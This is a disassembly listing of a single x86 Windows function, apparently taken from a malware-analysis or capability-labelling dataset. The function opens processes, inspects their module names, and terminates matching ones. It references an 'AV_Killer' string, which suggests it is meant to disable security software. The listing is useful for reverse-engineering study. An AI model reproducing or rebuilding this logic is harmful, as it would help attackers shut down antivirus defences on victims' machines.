Function at 0x415410
Capabilities:
Get common file path
Terminate process

Disassembly:
sub esp, 0xc1c
mov eax, dword [0x4895f0]
xor eax, esp
mov dword [esp + 0xc18], eax
push ebp
push esi
push edi
xor edi, edi
push 0x1000
mov ebp, ecx
mov dword [esp + 0x20], edi
mov dword [esp + 0x14], edi
call fcn.004282da
mov esi, eax
add esp, 4
cmp esi, edi
mov dword [esp + 0xc], esi
je 0x415849
mov eax, dword [esp + 0xc2c]
push ebx
push eax
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x41583b
mov eax, dword [ebp + 0x2e5f8]
mov edx, dword [eax + 0x18]
lea ecx, [esp + 0x14]
push ecx
push 0x1000
push esi
push ebx
call edx
test eax, eax
je 0x415830
mov edi, dword [esp + 0x14]
shr edi, 2
cmp edi, 0x400
mov dword [esp + 0x18], edi
jbe 0x4154fd
push esi
call fcn.004282df
xor ecx, ecx
lea eax, [edi + 0x10]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004282da
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
je 0x41582c
mov edx, dword [esp + 0x14]
mov eax, dword [ebp + 0x2e5f8]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [eax + 0x18]
push ecx
push ebx
call edx
test eax, eax
je 0x41582c
mov eax, dword [esp + 0x14]
shr eax, 2
mov dword [esp + 0x18], eax
mov edi, eax
xor esi, esi
test edi, edi
mov dword [esp + 0x1c], esi
jbe 0x415706
jmp 0x415510
mov eax, dword [esp + 0x10]
mov eax, dword [eax + esi*4]
mov ecx, dword [ebp + 0x2e5f8]
push 0x400
lea edx, [esp + 0x42c]
push edx
push eax
mov eax, dword [ecx + 0x20]
push ebx
call eax
test eax, eax
je 0x41582c
lea ecx, [esp + 0x428]
push str..exe
push ecx
call fcn.0044d0b0
add esp, 8
test eax, eax
jne 0x4155a1
lea edx, [esp + 0x428]
push str..EXE
push edx
call fcn.0044d0b0
add esp, 8
test eax, eax
jne 0x4155a1
lea eax, [esp + 0x428]
push str.msinfo
push eax
call fcn.0044d0b0
add esp, 8
test eax, eax
jne 0x4155a1
lea ecx, [esp + 0x428]
push str.MSINFO
push ecx
call fcn.0044d0b0
add esp, 8
test eax, eax
je 0x4156f7
cmp dword [esp + 0x428], 0x5c3f3f5c
jne 0x4155c6
lea eax, [esp + 0x42c]
mov cl, byte [eax]
mov byte [eax - 4], cl
add eax, 1
test cl, cl
jne 0x4155b5
jmp 0x415677
xor eax, eax
jmp 0x4155d0
mov cl, byte [esp + eax + 0x428]
mov byte [esp + eax + 0x828], cl
add eax, 1
test cl, cl
jne 0x4155d0
mov byte [esp + 0x833], cl
mov edi, str.SystemRoot
lea esi, [esp + 0x828]
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41566f
push 0x400
lea eax, [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x428]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x415620
mov cx, word [0x469140]
lea eax, [esp + 0x834]
mov word [edi], cx
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x415640
lea edi, [esp + 0x428]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x415655
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc30]
lea edx, [esp + 0x428]
push edx
push ebx
push eax
push str.Pid:_0x_lX__hProcess:_0x_lX___s__r_n
push ebp
call fcn.004071b0
mov ecx, dword [esp + 0xc44]
add esp, 0x14
lea edx, [esp + 0x428]
push edx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x24]
push ecx
lea ecx, [ebp + 0x2e9fc]
call fcn.00415360
mov edx, dword [ebp + 0x2e09c]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + esi*4]
push edx
push ecx
push ebx
mov ecx, ebp
call fcn.004164c0
test eax, eax
jne 0x415751
lea edx, [esp + 0x428]
push edx
mov ecx, ebp
call fcn.00416320
cmp eax, 1
je 0x415742
test eax, eax
jne 0x415751
add esi, 1
cmp esi, edi
mov dword [esp + 0x1c], esi
jb 0x415510
mov eax, dword [ebp + 0x2e09c]
push 0x130
push 0
push eax
call fcn.0044cf00
mov ebp, dword [ebp + 0x2e09c]
add esp, 0xc
xor eax, eax
mov byte [ebp + 4], 0
mov dword [ebp], eax
mov dword [ebp + 0x108], eax
mov dword [ebp + 0x104], eax
mov dword [ebp + 0x10c], eax
jmp 0x415824
mov eax, dword [ebp]
mov edx, dword [eax + 0x18]
push str.AV_Killer.j
mov ecx, ebp
call edx
push 0x130
lea edi, [ebp + 0x2e4ac]
push 0
push edi
call fcn.0044cf00
mov eax, dword [ebp + 0x2e09c]
mov esi, eax
add esp, 0xc
mov ecx, 0x4c
rep movsd dword es:[edi], dword [esi]
add eax, 4
push eax
lea ecx, [esp + 0x42c]
push ecx
mov ecx, ebp
mov dword [ebp + 0x2e4a8], 1
call fcn.004166b0
cmp dword [ebp + 0x2e4a0], 0
je 0x415824
lea edx, [esp + 0x428]
push 0x46db48
push edx
call fcn.0044d0b0
add esp, 8
test eax, eax
jne 0x4157e7
lea eax, [esp + 0x428]
push str..DLL
push eax
call fcn.0044d0b0
add esp, 8
test eax, eax
jne 0x4157e7
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x428]
push ecx
mov ecx, ebp
mov dword [ebp + 0x2e5e0], 1
call fcn.00415a40
cmp eax, 1
jne 0x415809
push 2
jmp 0x41581a
cmp eax, 2
jne 0x415815
push 0x40000000
jmp 0x41581a
push SysReAllocStringLen
mov edx, dword [ebp]
mov eax, dword [edx + 0x1c]
mov ecx, ebp
call eax
mov dword [esp + 0x20], 1
mov esi, dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
test esi, esi
pop ebx
je 0x415849
push esi
call fcn.004282df
add esp, 4
mov ecx, dword [esp + 0xc24]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0044ce74
add esp, 0xc1c
ret 4